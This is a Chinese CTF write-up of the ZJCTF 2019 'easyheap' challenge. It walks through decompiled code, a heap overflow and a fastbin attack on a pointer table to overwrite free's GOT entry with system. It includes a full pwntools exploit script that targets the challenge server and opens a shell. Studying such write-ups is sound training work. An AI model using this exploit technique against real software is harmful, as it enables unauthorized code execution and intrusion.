ZJCTF 2019.easyheap

文章发布时间:

最后更新时间:

文章总字数:
1.7k

预计阅读时间:
9 分钟

这一题的预期解因为buu的docker环境问题无法实现 这里使用的是通过覆盖free_got表为system来系统调用

分析一下程序

1
2
3
4
5
6
[*] '/home/chen/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

没有开启FULL RELRO 意味着可以覆写got表

ida继续跟进 main函数很常规 这里重点关注一下add free edit这三个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 create_heap()
{
int i; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !*(&heaparray + i) )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
size = atoi(buf);
*(&heaparray + i) = malloc(size);
if ( !*(&heaparray + i) )
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:");
read_input(*(&heaparray + i), size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v4;
}
}
return __readfsqword(0x28u) ^ v4;
}

申请的堆块存储到了bss段上的heaparray数组里面 同时每个指针占据8个字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 edit_heap()
{
int v1; // [rsp+4h] [rbp-1Ch]
__int64 v2; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
v2 = atoi(buf);
printf("Content of heap : ");
read_input(*(&heaparray + v1), v2);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}

提供了堆溢出的机会 可以供我们修改size域来合并chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 delete_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
free(*(&heaparray + v1));
*(&heaparray + v1) = 0LL;
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}

free后把指针清零了 没有办法uaf

了解完程序主体后 结合一下版本为ubuntu16 没有tcache 并且还有堆溢出 可以合并堆块 从而获得两个指向同一空间的chunk 这样就可以修改fastbinchunk的fd域 获得任意地址写的机会

接着再来关注一下这个heaparray 我们看完了代码后 可以得知 edit函数 是修改heaparray所指向的地址的内容

那如果我们利用上文提到的任意写的漏洞 将heaparray的其中一个指针修改为free_got 那么不就可以修改got表 成功进行系统调用了

不过fastbin attack需要注意的是 glibc对其取出bin时有检查机制 我们的fakechunk的地址需要合理构造 才能成功取出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import*
#io = process("./pwn")
io = remote("node4.buuoj.cn",29611)
context.log_level = "debug"
elf = ELF("./pwn")

def add(size,payload):
io.recvuntil("Your choice :")
io.sendline(b"1")
io.recvuntil("Size of Heap : ")
io.sendline(str(size))
io.recvuntil("Content of heap:")
io.sendline(payload)
io.recvuntil("SuccessFul")

def edit(index,size,payload):
io.recvuntil("Your choice :")
io.sendline(b"2")
io.recvuntil("Index :")
io.sendline(str(index))
io.recvuntil("Size of Heap : ")
io.sendline(str(size))
io.recvuntil("Content of heap : ")
io.sendline(payload)
io.recvuntil("Done !")

def delete(index):
io.recvuntil("Your choice :")
io.sendline(b"3")
io.recvuntil("Index :")
io.sendline(str(index))
io.recvuntil("Done !")

free_got = elf.got['free']
system_addr = 0x400700
heaparray_addr = 0x6020E0
add(0x18,b"1")#0
add(0x68,b"1")#1
add(0x68,b"1")#2
add(0x20,b"1")#3
payload = cyclic(0x18)+p16(0xe1)
edit(0,len(payload),payload)
delete(1)
add(0x68,b"1")#4&1
add(0x68,b"1")#5&2
delete(2)
payload = p64(heaparray_addr-51)
edit(4,len(payload),payload)

这部分代码的思路 我前面几题堆wp也有涉及 老办法了 不懂具体流程的可以翻看以往wp

重点在于最后我们要任意写的地方 位于heaparray-51的地方 这是为什么? 我们gdb动调看看

如果不-51的话 此时我们想要伪造的chunk的size域值为878030 不符合glibc的检查机制 如果想要申请出来时 程序就会强行终止

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
[DEBUG] Received 0x9b3 bytes:
b"*** Error in `./pwn': malloc(): memory corruption (fast): 0x00000000006020f0 ***\n"
b'======= Backtrace: =========\n'
b'/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x7f93309967f5]\n'
b'/lib/x86_64-linux-gnu/libc.so.6(+0x82679)[0x7f93309a1679]\n'
b'/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f93309a31d4]\n'
b'./pwn[0x4009b5]\n'
b'./pwn[0x400ce1]\n'
b'/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f933093f840]\n'
b'./pwn[0x4007b9]\n'
b'======= Memory map: ========\n'
b'00400000-00402000 r-xp 00000000 08:01 1066204 /home/chen/pwn\n'
b'00601000-00602000 r--p 00001000 08:01 1066204 /home/chen/pwn\n'
b'00602000-00603000 rw-p 00002000 08:01 1066204 /home/chen/pwn\n'
b'02381000-023a2000 rw-p 00000000 00:00 0 [heap]\n'
b'7f932c000000-7f932c021000 rw-p 00000000 00:00 0 \n'
b'7f932c021000-7f9330000000 ---p 00000000 00:00 0 \n'
b'7f9330709000-7f933071f000 r-xp 00000000 08:01 136633 /lib/x86_64-linux-gnu/libgcc_s.so.1\n'
b'7f933071f000-7f933091e000 ---p 00016000 08:01 136633 /lib/x86_64-linux-gnu/libgcc_s.so.1\n'
b'7f933091e000-7f933091f000 rw-p 00015000 08:01 136633 /lib/x86_64-linux-gnu/libgcc_s.so.1\n'
b'7f933091f000-7f9330adf000 r-xp 00000000 08:01 155906 /lib/x86_64-linux-gnu/libc-2.23.so\n'
b'7f9330adf000-7f9330cdf000 ---p 001c0000 08:01 155906 /lib/x86_64-linux-gnu/libc-2.23.so\n'
b'7f9330cdf000-7f9330ce3000 r--p 001c0000 08:01 155906 /lib/x86_64-linux-gnu/libc-2.23.so\n'
b'7f9330ce3000-7f9330ce5000 rw-p 001c4000 08:01 155906 /lib/x86_64-linux-gnu/libc-2.23.so\n'
b'7f9330ce5000-7f9330ce9000 rw-p 00000000 00:00 0 \n'
b'7f9330ce9000-7f9330d0f000 r-xp 00000000 08:01 155898 /lib/x86_64-linux-gnu/ld-2.23.so\n'
b'7f9330ef4000-7f9330ef7000 rw-p 00000000 00:00 0 \n'
b'7f9330f0d000-7f9330f0e000 rw-p 00000000 00:00 0 \n'
b'7f9330f0e000-7f9330f0f000 r--p 00025000 08:01 155898 /lib/x86_64-linux-gnu/ld-2.23.so\n'
b'7f9330f0f000-7f9330f10000 rw-p 00026000 08:01 155898 /lib/x86_64-linux-gnu/ld-2.23.so\n'
b'7f9330f10000-7f9330f11000 rw-p 00000000 00:00 0 \n'
b'7ffc6a9c0000-7ffc6a9e1000 rw-p 00000000 00:00 0 [stack]\n'
b'7ffc6a9ed000-7ffc6a9f0000 r--p 00000000 00:00 0 [vvar]\n'
b'7ffc6a9f0000-7ffc6a9f2000 r-xp 00000000 00:00 0 [vdso]\n'
b'ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]\n'

于是我们只好利用gdb动调 最后在-51的位置 可以使我们构造的chunk结构通过glibc的检查

1
2
3
4
5
6
7
8
9
10
11
add(0x68,b"/bin/sh")
add(0x68,b"1")
payload = cyclic(51)+p64(free_got)
edit(5,len(payload),payload)
payload = p64(system_addr)
edit(2,len(payload),payload)
io.recvuntil("Your choice :")
io.sendline(b"3")
io.recvuntil("Index :")
io.sendline(b"4")
io.interactive()

随后我们将该chunk申请出来 并且计算一下偏移 将我们想要修改的heaparray覆盖成free_got

这样我们下次想要利用edit函数修改其内容时 就会转化成修改free_got的内容

然后我们释放掉一个内容为/bin/sh的堆块 就相当于执行了system(”/bin/sh”)

但是在这里我遇到了个问题 不能使用我们之前为了方便打包好的函数

因为多接收了个done 但是系统调用后并不会输出done 所以这里会有卡壳